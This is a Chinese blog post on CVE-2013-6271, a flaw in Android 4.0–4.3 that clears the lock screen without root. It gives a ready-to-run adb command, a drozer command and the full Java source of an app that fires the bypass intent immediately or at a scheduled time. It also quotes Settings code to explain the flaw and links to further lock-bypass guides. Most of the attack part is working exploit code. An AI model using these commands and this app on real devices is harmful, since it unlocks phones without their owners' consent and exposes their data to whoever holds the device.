关闭

android绕过设备锁(device lock)

5847人阅读 评论(4) 收藏 举报
分类:

听说这几天爆了一个No root no recovery 的device lock的漏洞。

来源:https://cureblog.de/2013/11/cve-2013-6271-remove-device-locks-from-android-phone/

受伤程度。

4.0 - vulnerable 
4.1 - vulnerable
4.2 - vulnerable
4.3 - vulnerable
4.4 - not vulnerable

 

 有兴趣的读者可以先看看:http://developer.android.com/guide/topics/admin/device-admin.html

 

1、测试

测试一下:先设置device pin:

只需要一行代码:  

adb shell am start -n com.android.settings/com.android.settings.ChooseLockGeneric --ez confirm_credentials false --ei lockscreen.password_type 0 --activity-clear-task

device pin真的消失了。

 

有人也把这个功能封装到app里面了。无需adb了。

CRT-Removelocks.apk
CRT-Removelocks Source code

package com.curesec.android;

import android.app.IntentService;
import android.content.ComponentName;
import android.content.Intent;
import android.os.IBinder;

public class RemoveLocks extends IntentService {
 
 public RemoveLocks() {
  super("RemoveLocks");
 }

 @Override
 protected void onHandleIntent(Intent intent) {
  removeLocks();
 }

 看懂这段就看懂了全部! 就是如何让锁消失的秘密!
 private void removeLocks() {
  Intent intent = new Intent();
  intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.ChooseLockGeneric"));
  intent.putExtra("confirm_credentials", false);
  intent.putExtra("lockscreen.password_type",0);    //这就是那个PASSWORD_QUALITY_UNSPECIFIED The policy has no requirements for the password.


  intent.setFlags(intent.FLAG_ACTIVITY_NEW_TASK);
  startActivity(intent);
 }


 @Override
 public IBinder onBind(Intent intent) {
  return null;
 }

 

}

 

package com.curesec.android;

import java.util.Calendar;

import android.app.Activity;
import android.app.AlarmManager;
import android.app.PendingIntent;
import android.content.Context;
import android.content.Intent;
import android.os.Bundle;
import android.view.Menu;
import android.view.View;
import android.widget.Button;
import android.widget.TimePicker;
import android.widget.Toast;

public class MainActivity extends Activity {

 @Override
 protected void onCreate(Bundle savedInstanceState) {
  super.onCreate(savedInstanceState);
  setContentView(R.layout.activity_main);
    
  Button buttonExecuteNow = (Button) findViewById(R.id.button1);
  Button buttonExecuteLater = (Button) findViewById(R.id.button2);
  TimePicker tp = (TimePicker) findViewById(R.id.timePicker1);
  tp.setIs24HourView(true);
  tp.setCurrentHour(Calendar.getInstance().get(Calendar.HOUR_OF_DAY));
  
  buttonExecuteNow.setOnClickListener(new View.OnClickListener() {
   public void onClick(View view) {
    Context context = getBaseContext();
    Intent intent = new Intent(context, RemoveLocks.class);
    AlarmManager alarm = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
    PendingIntent pending = PendingIntent.getService(context, 0, intent, PendingIntent.FLAG_CANCEL_CURRENT);
    Calendar cal = Calendar.getInstance();
    alarm.set(AlarmManager.RTC_WAKEUP, cal.getTimeInMillis(), pending);

    Toast t = Toast.makeText(getBaseContext(), "Removing lock now!", 5);
    t.show();   
   }
  }
  );
  
  buttonExecuteLater.setOnClickListener(new View.OnClickListener() {
   public void onClick(View view) {
    Context context = getBaseContext();
    Intent intent = new Intent(context, RemoveLocks.class);
    AlarmManager alarm = (AlarmManager) context.getSystemService(Context.ALARM_SERVICE);
    PendingIntent pending = PendingIntent.getService(context, 0, intent, PendingIntent.FLAG_CANCEL_CURRENT);
    Calendar cal = Calendar.getInstance();
    TimePicker tp = (TimePicker) findViewById(R.id.timePicker1);
    cal.set(Calendar.HOUR_OF_DAY, tp.getCurrentHour());
    cal.set(Calendar.MINUTE, tp.getCurrentMinute());
    cal.set(Calendar.SECOND, 0);
    alarm.set(AlarmManager.RTC_WAKEUP, cal.getTimeInMillis(), pending); 
   
    Toast t = Toast.makeText(getBaseContext(), "Removing lock at: "+tp.getCurrentHour()+":"+tp.getCurrentMinute(), 5);
    t.show();   
   }
  }
  );
  
  
 }

 @Override
 public boolean onCreateOptionsMenu(Menu menu) {
  getMenuInflater().inflate(R.menu.main, menu);
  return true;
 }

}

 

 

也可以使用drozer进行验证。drozer(原名Mercury)您不会不知道吧!

 

#Disable all phone locks
run app.activity.start --component com.android.settings com.android.settings.ChooseLockGeneric --extra boolean confirm_credentials false --extra integer "lockscreen.password_type" 0
 
 

 

2、原因:

 

com.android.settings.ChooseLockGeneric class 用于让用户改变设备锁类型,比如是password, gesture and even face recognition ,当然修改前需要输入原来的密码(pin、图案等)

Lets examine the following code extracted from the class:

            // Defaults to needing to confirm credentials
            final boolean confirmCredentials = getActivity().getIntent()
                .getBooleanExtra(CONFIRM_CREDENTIALS, true);
            mPasswordConfirmed = !confirmCredentials;

            if (savedInstanceState != null) {
                mPasswordConfirmed = savedInstanceState.getBoolean(PASSWORD_CONFIRMED);
                mWaitingForConfirmation = savedInstanceState.getBoolean(WAITING_FOR_CONFIRMATION);
                mFinishPending = savedInstanceState.getBoolean(FINISH_PENDING);
            }

            if (mPasswordConfirmed) {
                updatePreferencesOrFinish();
                     }
…...
  private void updatePreferencesOrFinish() {
            Intent intent = getActivity().getIntent();
            int quality = intent.getIntExtra(LockPatternUtils.PASSWORD_TYPE_KEY, -1);
            if (quality == -1) {
                // If caller didn't specify password quality, show UI and allow the user to choose.
                quality = intent.getIntExtra(MINIMUM_QUALITY_KEY, -1);
                MutableBoolean allowBiometric = new MutableBoolean(false);
                quality = upgradeQuality(quality, allowBiometric);
                final PreferenceScreen prefScreen = getPreferenceScreen();
                if (prefScreen != null) {
                    prefScreen.removeAll();
                }
                addPreferencesFromResource(R.xml.security_settings_picker);
                disableUnusablePreferences(quality, allowBiometric);
            } else {
                updateUnlockMethodAndFinish(quality, false);
            }
        }

…...
 void updateUnlockMethodAndFinish(int quality, boolean disabled) {
            // Sanity check. We should never get here without confirming user's existing password.
            if (!mPasswordConfirmed) {
                throw new IllegalStateException("Tried to update password without confirming it");
            }

            final boolean isFallback = getActivity().getIntent()
                .getBooleanExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK, false);

            quality = upgradeQuality(quality, null);

            if (quality >= DevicePolicyManager.PASSWORD_QUALITY_NUMERIC) {
                int minLength = mDPM.getPasswordMinimumLength(null);
                if (minLength < MIN_PASSWORD_LENGTH) {
                    minLength = MIN_PASSWORD_LENGTH;
                }
                final int maxLength = mDPM.getPasswordMaximumLength(quality);
                Intent intent = new Intent().setClass(getActivity(), ChooseLockPassword.class);
                intent.putExtra(LockPatternUtils.PASSWORD_TYPE_KEY, quality);
                intent.putExtra(ChooseLockPassword.PASSWORD_MIN_KEY, minLength);
                intent.putExtra(ChooseLockPassword.PASSWORD_MAX_KEY, maxLength);
                intent.putExtra(CONFIRM_CREDENTIALS, false);
                intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK,
                        isFallback);
                if (isFallback) {
                    startActivityForResult(intent, FALLBACK_REQUEST);
                    return;
                } else {
                    mFinishPending = true;
                    intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT);
                    startActivity(intent);
                }
            } else if (quality == DevicePolicyManager.PASSWORD_QUALITY_SOMETHING) {
                Intent intent = new Intent(getActivity(), ChooseLockPattern.class);
                intent.putExtra("key_lock_method", "pattern");
                intent.putExtra(CONFIRM_CREDENTIALS, false);
                intent.putExtra(LockPatternUtils.LOCKSCREEN_BIOMETRIC_WEAK_FALLBACK,
                        isFallback);
                if (isFallback) {
                    startActivityForResult(intent, FALLBACK_REQUEST);
                    return;
                } else {
                    mFinishPending = true;
                    intent.addFlags(Intent.FLAG_ACTIVITY_FORWARD_RESULT);
                    startActivity(intent);
                }
            else if (quality == DevicePolicyManager.PASSWORD_QUALITY_BIOMETRIC_WEAK) {
                Intent intent = getBiometricSensorIntent();
                mFinishPending = true;
                startActivity(intent);
            } else if (quality == DevicePolicyManager.PASSWORD_QUALITY_UNSPECIFIED) {
                mChooseLockSettingsHelper.utils().clearLock(false);
                mChooseLockSettingsHelper.utils().setLockScreenDisabled(disabled);
                getActivity().setResult(Activity.RESULT_OK);
                finish();
            } else {
                finish();
            }
        }
This first piece of code allows the caller to actually control if the confirmation to change the lock mechanism is enable or not. 
第一部分代码允许调用者设置改变设备锁类型前是否需要输入以前的设备所认证。
 
We can control the flow to reach the updatePreferencesOrFinish() method and see that IF we provide a Password Type the flow continues to updateUnlockMethodAndFinish(). Above we can see that IF the password is of type PASSWORD_QUALITY_UNSPECIFIED the code that gets executed and effectively unblocks the device.

 

构造输入即可绕过。

Set the password quality

The password quality can be one of the following DevicePolicyManager constants:

PASSWORD_QUALITY_ALPHABETIC
The user must enter a password containing at least alphabetic (or other symbol) characters.
PASSWORD_QUALITY_ALPHANUMERIC
The user must enter a password containing at least both numeric and alphabetic (or other symbol) characters.
PASSWORD_QUALITY_NUMERIC
The user must enter a password containing at least numeric characters.
PASSWORD_QUALITY_SOMETHING
The policy requires some kind of password, but doesn't care what it is.
PASSWORD_QUALITY_UNSPECIFIED
The policy has no requirements for the password.

 

3、危害:

   1、如果丢了手机,pin起码有一定保护作用,如果用户开启了adb shell,那就可以被干掉pin了。

   2、4.2.2以后还有安全机制:adb认证。http://blog.csdn.net/u011069813/article/details/9198093 丢了手机,想执行adb好难哦!

名称:  捕获.PNG查看次数: 0文件大小:  33.6 KB

 3、被app执行该漏洞,清除了device pin!有啥后果呢? 没想好!

 

接下来我们系统分析一下设备锁的机制,以及还有哪些其它方法清除设备锁。

 

看完电影对device lock进行深入系统分析。

 

http://we.droidiser.com/viewtopic.php?f=21&t=29

http://en.miui.com/thread-5684-1-1.html

http://oscarmini.com/2013/09/locked-out-how-to-bypass-pattern-lock-on-any-android-device.html微笑

http://www.geeknaut.com/bypass-android-pattern-lock-09198931.html

http://forum.xda-developers.com/showthread.php?t=1722950

http://forum.xda-developers.com/showthread.php?t=2225695

http://forum.xda-developers.com/showthread.php?t=1646108

http://forum.xda-developers.com/showthread.php?t=2225695

http://forum.xda-developers.com/showthread.php?t=2437946

http://www.morethantechnical.com/2013/01/29/a-creative-way-to-bypass-pattern-lock-on-android/

0
0

查看评论
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
    个人资料
    • 访问:167190次
    • 积分:2304
    • 等级:
    • 排名:第16875名
    • 原创:47篇
    • 转载:17篇
    • 译文:17篇
    • 评论:35条
    最新评论